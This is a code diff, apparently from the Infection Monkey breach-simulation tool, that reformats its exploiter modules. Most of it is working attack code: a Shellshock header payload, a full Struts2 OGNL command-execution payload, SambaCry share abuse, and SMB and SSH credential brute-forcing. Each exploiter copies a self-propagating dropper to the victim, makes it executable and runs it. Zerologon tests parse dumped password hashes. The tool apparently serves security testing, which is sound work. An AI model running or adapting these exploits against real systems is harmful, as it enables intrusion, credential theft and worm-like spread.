"Exception trying to exploit host: %s, share: %s, with creds: %s."
% (self.host.ip_addr, share, str(creds))
)
def clean_share(self, ip, share, creds):
@ -194,7 +195,8 @@ class SambaCryExploiter(HostExploiter):
file_content = None
try:
file_id = smb_client.openFile(
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
desiredAccess=FILE_READ_DATA
)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
@ -235,12 +237,12 @@ class SambaCryExploiter(HostExploiter):
creds = self._config.get_exploit_user_password_or_hash_product()
creds = [
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
{"username":user, "password":password, "lm_hash":lm_hash, "ntlm_hash":ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds
]
# Add empty credentials for anonymous shares.
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
creds.insert(0, {"username":"", "password":"", "lm_hash":"", "ntlm_hash":""})
return creds
@ -266,28 +268,28 @@ class SambaCryExploiter(HostExploiter):
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
samba_version = smb_server_name[pattern_result.start(): pattern_result.end()]
samba_version_parts = samba_version.split(".")
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "4")
and (samba_version_parts[1] <= "13")
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "4")
and (samba_version_parts[1] <= "13")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "5")
and (samba_version_parts[1] <= "9")
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "5")
and (samba_version_parts[1] <= "9")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "6")
and (samba_version_parts[1] <= "3")
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "6")
and (samba_version_parts[1] <= "3")
):
is_vulnerable = True
else:
@ -295,8 +297,8 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
LOG.info(
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
)
return is_vulnerable
@ -310,20 +312,20 @@ class SambaCryExploiter(HostExploiter):
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(
self._config.dropper_target_path_linux
self._config.dropper_target_path_linux
) as monkey_commandline_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
@ -331,18 +333,18 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
)
T1105Telem(
ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path,
ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path,
).send()
smb_client.disconnectTree(tree_id)
@ -372,7 +374,8 @@ class SambaCryExploiter(HostExploiter):
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
# This is the expected result. We can't tell whether we succeeded or not just by this
# error code.
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
return True
else:
@ -401,10 +404,11 @@ class SambaCryExploiter(HostExploiter):
def get_monkey_commandline_file(self, location):
return BytesIO(
DROPPER_ARG
+ build_monkey_commandline(
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
)
DROPPER_ARG
+ build_monkey_commandline(
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT,
str(location)
)
)
@staticmethod
@ -442,29 +446,30 @@ class SambaCryExploiter(HostExploiter):
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"],
credentials["password"],
"",
credentials["lm_hash"],
credentials["ntlm_hash"],
credentials["username"],
credentials["password"],
"",
credentials["lm_hash"],
credentials["ntlm_hash"],
)
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
# Following are slightly modified SMB functions from impacket to fit our needs of the
# vulnerability #
@staticmethod
def create_smb(
smb_client,
treeId,
fileName,
desiredAccess,
shareMode,
creationOptions,
creationDisposition,
fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION,
securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None,
smb_client,
treeId,
fileName,
desiredAccess,
shareMode,
creationOptions,
creationDisposition,
fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION,
securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None,
):
packet = smb_client.getSMBServer().SMB_PACKET()
@ -492,7 +497,7 @@ class SambaCryExploiter(HostExploiter):
if createContexts is not None:
smb2Create["Buffer"] += createContexts
smb2Create["CreateContextsOffset"] = (
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
)
smb2Create["CreateContextsLength"] = len(createContexts)
else:
@ -513,7 +518,8 @@ class SambaCryExploiter(HostExploiter):
@staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# We need to overwrite Impacket's openFile functions since they automatically convert
# paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree("IPC$")
LOG.debug("Triggering path: %s" % pathName)
@ -543,12 +549,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0,
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0,
)

View File

@ -1,4 +1,5 @@
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
# Implementation is based on shellshock script provided
# https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging
import string
@ -28,7 +29,7 @@ LOCK_HELPER_FILE = "/tmp/monkey_shellshock"
class ShellShockExploiter(HostExploiter):
_attacks = {"Content-type": "() { :;}; echo; "}
_attacks = {"Content-type":"() { :;}; echo; "}
_TARGET_OS_TYPE = ["linux"]
_EXPLOITED_SERVICE = "Bash"
@ -37,17 +38,17 @@ class ShellShockExploiter(HostExploiter):
super(ShellShockExploiter, self).__init__(host)
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = "".join(
choice(string.ascii_uppercase + string.digits) for _ in range(20)
choice(string.ascii_uppercase + string.digits) for _ in range(20)
)
self.skip_exist = self._config.skip_exploit_if_file_exist
def _exploit_host(self):
# start by picking ports
candidate_services = {
service: self.host.services[service]
service:self.host.services[service]
for service in self.host.services
if ("name" in self.host.services[service])
and (self.host.services[service]["name"] == "http")
and (self.host.services[service]["name"] == "http")
}
valid_ports = [
@ -59,8 +60,8 @@ class ShellShockExploiter(HostExploiter):
https_ports = [port[0] for port in valid_ports if port[1]]
LOG.info(
"Scanning %s, ports [%s] for vulnerable CGI pages"
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
"Scanning %s, ports [%s] for vulnerable CGI pages"
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
)
attackable_urls = []
@ -103,17 +104,18 @@ class ShellShockExploiter(HostExploiter):
self.host.os["machine"] = uname_machine.lower().strip()
except Exception as exc:
LOG.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
"Error running uname machine command on victim %r: (%s)", self.host, exc
)
return False
# copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
):
LOG.info(
"Host %s was already infected under the current configuration, done" % self.host
"Host %s was already infected under the current configuration, "
"done" % self.host
)
return True # return already infected
@ -136,7 +138,7 @@ class ShellShockExploiter(HostExploiter):
download = exploit + download_command
self.attack_page(
url, header, download
url, header, download
) # we ignore failures here since it might take more than TIMEOUT time
http_thread.join(DOWNLOAD_TIMEOUT)
@ -145,10 +147,10 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
"ELF"
not in self.check_remote_file_exists(
"ELF"
not in self.check_remote_file_exists(
url, header, exploit, dropper_target_path_linux
)
)
):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
@ -162,26 +164,26 @@ class ShellShockExploiter(HostExploiter):
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
HTTPTools.get_port_from_url(url),
dropper_target_path_linux,
self.host,
get_monkey_depth() - 1,
HTTPTools.get_port_from_url(url),
dropper_target_path_linux,
)
cmdline += " & "
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
)
if not (
self.check_remote_file_exists(
url, header, exploit, self._config.monkey_log_path_linux
)
self.check_remote_file_exists(
url, header, exploit, self._config.monkey_log_path_linux
)
):
LOG.info("Log file does not exist, monkey might not have run")
continue
@ -241,7 +243,7 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack)
r = requests.get(
url, headers={header: attack}, verify=False, timeout=TIMEOUT
url, headers={header:attack}, verify=False, timeout=TIMEOUT
) # noqa: DUO123
result = r.content.decode()
return result
@ -270,7 +272,8 @@ class ShellShockExploiter(HostExploiter):
break
if timeout:
LOG.debug(
"Some connections timed out while sending request to potentially vulnerable urls."
"Some connections timed out while sending request to potentially vulnerable "
"urls."
)
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps]

View File

@ -24,8 +24,8 @@ class SmbExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SMB"
KNOWN_PROTOCOLS = {
"139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139),
"445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
"139/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 139),
"445/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 445),
}
USE_KERBEROS = False
@ -63,32 +63,33 @@ class SmbExploiter(HostExploiter):
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(
self.host,
src_path,
self._config.dropper_target_path_win_32,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout,
self.host,
src_path,
self._config.dropper_target_path_win_32,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout,
)
if remote_full_path is not None:
LOG.debug(
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
"%s : (SHA-512) %s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port(
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
exploited = True
break
@ -98,14 +99,15 @@ class SmbExploiter(HostExploiter):
except Exception as exc:
LOG.debug(
"Exception when trying to copy file using SMB to %r with user:"
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
exc,
"Exception when trying to copy file using SMB to %r with user:"
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
exc,
)
continue
@ -117,18 +119,18 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
"dropper_path": remote_full_path
"dropper_path":remote_full_path
} + build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
self.vulnerable_port,
self._config.dropper_target_path_win_32,
self.host,
get_monkey_depth() - 1,
self.vulnerable_port,
self._config.dropper_target_path_win_32,
)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
"monkey_path": remote_full_path
"monkey_path":remote_full_path
} + build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
)
smb_conn = False
@ -147,10 +149,10 @@ class SmbExploiter(HostExploiter):
scmr_rpc.connect()
except Exception as exc:
LOG.debug(
"Can't connect to SCM on exploited machine %r port %s : %s",
self.host,
port,
exc,
"Can't connect to SCM on exploited machine %r port %s : %s",
self.host,
port,
exc,
)
continue
@ -167,11 +169,11 @@ class SmbExploiter(HostExploiter):
# start the monkey using the SCM
resp = scmr.hRCreateServiceW(
scmr_rpc,
sc_handle,
self._config.smb_service_name,
self._config.smb_service_name,
lpBinaryPathName=cmdline,
scmr_rpc,
sc_handle,
self._config.smb_service_name,
self._config.smb_service_name,
lpBinaryPathName=cmdline,
)
service = resp["lpServiceHandle"]
try:
@ -185,18 +187,18 @@ class SmbExploiter(HostExploiter):
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
)
self.add_vuln_port(
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
return True

View File

@ -58,14 +58,15 @@ class SSHExploiter(HostExploiter):
try:
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
LOG.debug(
"Successfully logged in %s using %s users private key", self.host, ssh_string
"Successfully logged in %s using %s users private key", self.host,
ssh_string
)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except Exception:
ssh.close()
LOG.debug(
"Error logging into victim %r with %s" " private key", self.host, ssh_string
"Error logging into victim %r with %s" " private key", self.host, ssh_string
)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
@ -82,10 +83,10 @@ class SSHExploiter(HostExploiter):
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
LOG.debug(
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
@ -93,12 +94,12 @@ class SSHExploiter(HostExploiter):
except Exception as exc:
LOG.debug(
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
exc,
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
exc,
)
self.report_login_attempt(False, user, current_password)
ssh.close()
@ -151,13 +152,14 @@ class SSHExploiter(HostExploiter):
if self.skip_exist:
_, stdout, stderr = ssh.exec_command(
"head -c 1 %s" % self._config.dropper_target_path_linux
"head -c 1 %s" % self._config.dropper_target_path_linux
)
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
LOG.info(
"Host %s was already infected under the current configuration, done" % self.host
"Host %s was already infected under the current configuration, "
"done" % self.host
)
return True # return already infected
@ -173,17 +175,17 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
self._config.dropper_target_path_linux,
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
file_obj,
self._config.dropper_target_path_linux,
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
).send()
ftp.close()
except Exception as exc:
@ -191,7 +193,7 @@ class SSHExploiter(HostExploiter):
status = ScanStatus.SCANNED
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
).send()
if status == ScanStatus.SCANNED:
return False
@ -199,16 +201,16 @@ class SSHExploiter(HostExploiter):
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
)
ssh.close()

View File

@ -35,7 +35,8 @@ class Struts2Exploiter(WebRCE):
def build_potential_urls(self, ports, extensions=None):
"""
We need to override this method to get redirected url's
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
@ -47,11 +48,11 @@ class Struts2Exploiter(WebRCE):
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {"User-Agent": "Mozilla/5.0"}
headers = {"User-Agent":"Mozilla/5.0"}
request = urllib.request.Request(url, headers=headers)
try:
return urllib.request.urlopen(
request, context=ssl._create_unverified_context()
request, context=ssl._create_unverified_context()
).geturl()
except urllib.error.URLError:
LOG.error("Can't reach struts2 server")
@ -66,25 +67,25 @@ class Struts2Exploiter(WebRCE):
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
payload = (
"%%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?"
"(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='%s')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}" % cmd
"%%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?"
"(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='%s')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true)).(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}" % cmd
)
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload}
headers = {"User-Agent":"Mozilla/5.0", "Content-Type":payload}
try:
request = urllib.request.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output

View File

@ -26,28 +26,28 @@ def zerologon_exploiter_object(monkeypatch):
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 0}
dummy_exploit_attempt_result = {"ErrorCode":0}
assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result)
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 1}
dummy_exploit_attempt_result = {"ErrorCode":1}
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
dummy_exploit_attempt_result
dummy_exploit_attempt_result
)
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
dummy_restoration_attempt_result = object()
assert zerologon_exploiter_object.assess_restoration_attempt_result(
dummy_restoration_attempt_result
dummy_restoration_attempt_result
)
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
dummy_restoration_attempt_result = False
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
dummy_restoration_attempt_result
dummy_restoration_attempt_result
)
@ -56,15 +56,15 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {
"RID": int(RIDS[0]),
"lm_hash": LM_HASHES[0],
"nt_hash": NT_HASHES[0],
USERS[0]:{
"RID":int(RIDS[0]),
"lm_hash":LM_HASHES[0],
"nt_hash":NT_HASHES[0],
},
USERS[1]: {
"RID": int(RIDS[1]),
"lm_hash": LM_HASHES[1],
"nt_hash": NT_HASHES[1],
USERS[1]:{
"RID":int(RIDS[1]),
"lm_hash":LM_HASHES[1],
"nt_hash":NT_HASHES[1],
},
}
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
@ -76,8 +76,8 @@ def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
USERS[0]:{"RID":int(RIDS[0]), "lm_hash":"", "nt_hash":""},
USERS[1]:{"RID":int(RIDS[1]), "lm_hash":"", "nt_hash":""},
}
assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds

View File

@ -29,9 +29,10 @@ def get_target_monkey(host):
if not monkey_path:
if host.os.get("type") == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
# use our exe
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
"machine", ""
"machine", ""
).lower() == platform.machine().lower():
monkey_path = sys.executable
@ -45,7 +46,7 @@ def get_target_monkey_by_os(is_windows, is_32bit):
def build_monkey_commandline_explicitly(
parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None
parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None
):
cmdline = ""
@ -71,12 +72,12 @@ def build_monkey_commandline(target_host, depth, vulnerable_port, location=None)
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID,
target_host.default_tunnel,
target_host.default_server,
depth,
location,
vulnerable_port,
GUID,
target_host.default_tunnel,
target_host.default_server,
depth,
location,
vulnerable_port,
)
@ -106,13 +107,13 @@ def get_monkey_dest_path(url_to_monkey):
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error(
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
)
return False
except AttributeError:
LOG.error(
"Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey"
"Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey"
)
return False

View File

@ -43,7 +43,7 @@ class HTTPTools(object):
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(
host, src_path, local_ip, local_port
host, src_path, local_ip, local_port
)
if not http_path:
raise Exception("Http transfer creation failed.")
@ -98,7 +98,7 @@ class MonkeyHTTPServer(HTTPTools):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
self.host, src_path
self.host, src_path
)
def stop(self):

View File

@ -17,7 +17,8 @@ class Payload(object):
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (payload)
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
:param command: Command to suffix/prefix. If no command is passed than objects' property
is used
:return: prefixed and suffixed command (full payload)
"""
if not command:
@ -46,14 +47,15 @@ class LimitedSizePayload(Payload):
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
raise Exception(
"Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command."
"Can't split command into smaller sub-commands because commands' prefix and "
"suffix already "
"exceeds required length of command."
)
elif self.command == "":
return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(
drop_whitespace=False, width=self.get_max_sub_payload_length()
drop_whitespace=False, width=self.get_max_sub_payload_length()
)
commands = [self.get_payload(part) for part in wrapper.wrap(self.command)]
return commands

View File

@ -14,8 +14,8 @@ class TestPayload(TestCase):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
assert (
pld_fail.is_suffix_and_prefix_too_long()
and not pld_success.is_suffix_and_prefix_too_long()
pld_fail.is_suffix_and_prefix_too_long()
and not pld_success.is_suffix_and_prefix_too_long()
)
def test_split_into_array_of_smaller_payloads(self):
@ -23,16 +23,17 @@ class TestPayload(TestCase):
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
test1 = bool(
array1[0] == "prefix1234suffix"
and array1[1] == "prefix5678suffix"
and array1[2] == "prefix9suffix"
array1[0] == "prefix1234suffix"
and array1[1] == "prefix5678suffix"
and array1[2] == "prefix9suffix"
)
test_str2 = "12345678"
